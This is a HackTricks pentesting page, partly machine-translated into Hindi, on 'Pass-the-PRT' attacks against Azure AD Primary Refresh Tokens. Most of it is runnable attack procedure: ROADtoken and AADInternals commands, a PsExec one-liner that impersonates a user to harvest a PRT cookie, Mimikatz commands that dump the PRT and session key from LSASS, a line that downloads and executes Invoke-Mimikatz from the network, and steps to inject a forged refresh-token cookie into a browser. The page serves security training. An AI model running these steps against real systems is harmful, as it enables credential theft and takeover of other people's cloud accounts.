Az - Pass the PRT

Support HackTricks

What is a PRT

Check if you have a PRT

Dsregcmd.exe /status

In the SSO State section, you should see the AzureAdPrt set to YES.

In the same output you can also see if the device is joined to Azure (in the field AzureAdJoined):

PRT कुकी

The PRT cookie is actually called x-ms-RefreshTokenCredential and it's a JSON Web Token (JWT). A JWT contains 3 parts, the header, payload and signature, divided by a . and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

The actual Primary Refresh Token (PRT) is encapsulated within the refresh_token, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field is_primary signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the request_nonce is transmitted from the logon.microsoftonline.com page.

The LSASS process will send to the TPM the KDF context, and the TPM will used session key (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to derivate a key, and this derived key is used to sign the PRT cookie (JWT).

The KDF context is a nonce from AzureAD and the PRT creating a JWT mixed with a context (random bytes).

Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to request derived keys from new contexts and use the generated keys to sign Cookies.

PRT Abuse Scenarios

As a regular user it's possible to request PRT usage by asking LSASS for SSO data. This can be done like native apps which request tokens from Web Account Manager (token broker). WAM पास करता है the request to LSASS, which asks for tokens using signed PRT assertion. Or it can be down with browser based (web) flows where a PRT cookie is used as header to authenticate requests to Azure AS login pages.

As SYSTEM you could steal the PRT if not protected by TPM or interact with PRT keys in LSASS using crypto APIs.

Pass-the-PRT Attack Examples

Attack - ROADtoken

For more info about this way check this post. ROADtoken will run BrowserCore.exe from the right directory and use it to obtain a PRT cookie. This cookie can then be used with ROADtools to authenticate and obtain a persistent refresh token.

To generate a valid PRT cookie the first thing you need is a nonce. You can get this with:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

या roadrecon का उपयोग करके:

roadrecon auth prt-init

फिर आप roadtoken का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता की प्रक्रिया से हमले के लिए उपकरण में चलाएँ):

.\ROADtoken.exe <nonce>

As oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

फिर आप उत्पन्न कुकी का उपयोग करके टोकन उत्पन्न कर सकते हैं ताकि Azure AD Graph या Microsoft Graph का उपयोग करके लॉगिन कर सकें:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken उपयोगकर्ता का PRT टोकन Azure AD से जुड़े या हाइब्रिड जुड़े कंप्यूटर से प्राप्त करता है। PRT टोकन प्राप्त करने के लिए BrowserCore.exe का उपयोग करता है।

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

या अगर आपके पास Mimikatz से मान हैं, तो आप AADInternals का उपयोग करके एक टोकन भी उत्पन्न कर सकते हैं:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें।

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

फिर https://portal.azure.com पर जाएं

बाकी डिफ़ॉल्ट होना चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे।

हमला - Mimikatz

चरण

  1. PRT (प्राथमिक रिफ्रेश टोकन) LSASS (स्थानीय सुरक्षा प्राधिकरण उपप्रणाली सेवा) से निकाला जाता है और आगे के उपयोग के लिए संग्रहीत किया जाता है।

  2. सत्र कुंजी अगली निकाली जाती है। चूंकि यह कुंजी प्रारंभ में जारी की जाती है और फिर स्थानीय डिवाइस द्वारा फिर से एन्क्रिप्ट की जाती है, इसलिए इसे DPAPI मास्टरकी का उपयोग करके डिक्रिप्ट करने की आवश्यकता होती है। DPAPI (डेटा सुरक्षा एपीआई) के बारे में विस्तृत जानकारी इन संसाधनों में पाई जा सकती है: HackTricks और इसके अनुप्रयोग की समझ के लिए, Pass-the-cookie हमला देखें।

  3. सत्र कुंजी के डिक्रिप्शन के बाद, PRT के लिए व्युत्पन्न कुंजी और संदर्भ प्राप्त होते हैं। ये PRT कुकी के निर्माण के लिए महत्वपूर्ण हैं। विशेष रूप से, व्युत्पन्न कुंजी का उपयोग कुकी का निर्माण करने वाले JWT (JSON वेब टोकन) पर हस्ताक्षर करने के लिए किया जाता है। इस प्रक्रिया का एक व्यापक विवरण डिर्क-जान द्वारा प्रदान किया गया है, जिसे यहां देखा जा सकता है।

ध्यान दें कि यदि PRT TPM के अंदर है और lsass के अंदर नहीं है, तो mimikatz इसे निकालने में असमर्थ होगा। हालांकि, TPM से एक संदर्भ से व्युत्पन्न कुंजी प्राप्त करना संभव होगा और इसका उपयोग कुकी पर हस्ताक्षर करने के लिए किया जा सकता है (विकल्प 3 देखें)।

आप इन विवरणों को निकालने की प्रक्रिया का गहन विवरण यहां पा सकते हैं: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

यह अगस्त 2021 के सुधारों के बाद अन्य उपयोगकर्ताओं के PRT टोकन प्राप्त करने के लिए ठीक से काम नहीं करेगा क्योंकि केवल उपयोगकर्ता ही अपना PRT प्राप्त कर सकता है (एक स्थानीय व्यवस्थापक अन्य उपयोगकर्ताओं के PRTs तक पहुंच नहीं सकता), लेकिन वह अपना PRT प्राप्त कर सकता है।

आप mimikatz का उपयोग करके PRT निकाल सकते हैं:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Prt के लेबल वाले भाग को कॉपी करें और इसे सहेजें। सत्र कुंजी (जो ProofOfPossesionKey फ़ील्ड का KeyValue है) को भी निकालें जिसे आप नीचे हाइलाइटेड देख सकते हैं। यह एन्क्रिप्टेड है और हमें इसे डिक्रिप्ट करने के लिए अपने DPAPI मास्टरकीज़ का उपयोग करने की आवश्यकता होगी।

यदि आप कोई PRT डेटा नहीं देखते हैं, तो इसका मतलब यह हो सकता है कि आपके पास कोई PRT नहीं है क्योंकि आपका डिवाइस Azure AD से जुड़ा नहीं है या यह हो सकता है कि आप Windows 10 का पुराना संस्करण चला रहे हैं।

सत्र कुंजी को डिक्रिप्ट करने के लिए आपको अपनी विशेषताओं को SYSTEM में उन्नत करना होगा ताकि आप कंप्यूटर संदर्भ के तहत चल सकें और DPAPI मास्टरकी का उपयोग करके इसे डिक्रिप्ट कर सकें। आप ऐसा करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

विकल्प 1 - पूर्ण Mimikatz

  • अब आप दोनों Context मान को कॉपी करना चाहते हैं:

  • और व्युत्पन्न कुंजी मान:

  • अंत में, आप इस सभी जानकारी का उपयोग PRT कुकीज़ उत्पन्न करने के लिए कर सकते हैं:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • https://login.microsoftonline.com पर जाएं, login.microsoftonline.com के लिए सभी कुकीज़ साफ़ करें और एक नई कुकी दर्ज करें।

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

बाकी सभी डिफ़ॉल्ट होने चाहिए। सुनिश्चित करें कि आप पृष्ठ को ताज़ा कर सकते हैं और कुकी गायब नहीं होती, यदि ऐसा होता है, तो आपने गलती की हो सकती है और आपको प्रक्रिया को फिर से करना होगा। यदि ऐसा नहीं होता है, तो आप ठीक होंगे।

विकल्प 2 - roadrecon का उपयोग करके PRT

  • पहले PRT को नवीनीकरण करें, जो इसे roadtx.prt में सहेज देगा:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • अब हम roadtx browserprtauth के साथ इंटरैक्टिव ब्राउज़र का उपयोग करके टोकन अनुरोध कर सकते हैं। यदि हम roadtx describe कमांड का उपयोग करते हैं, तो हम देखते हैं कि एक्सेस टोकन में एक MFA दावा शामिल है क्योंकि इस मामले में मैंने जो PRT का उपयोग किया, उसमें भी एक MFA दावा था।

roadtx browserprtauth
roadtx describe < .roadtools_auth

विकल्प 3 - roadrecon का उपयोग करके व्युत्पन्न कुंजी

mimikatz द्वारा डंप की गई संदर्भ और व्युत्पन्न कुंजी के साथ, एक नया साइन किया हुआ कुकी उत्पन्न करने के लिए roadrecon का उपयोग करना संभव है:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

संदर्भ

HackTricks का समर्थन करें

Last updated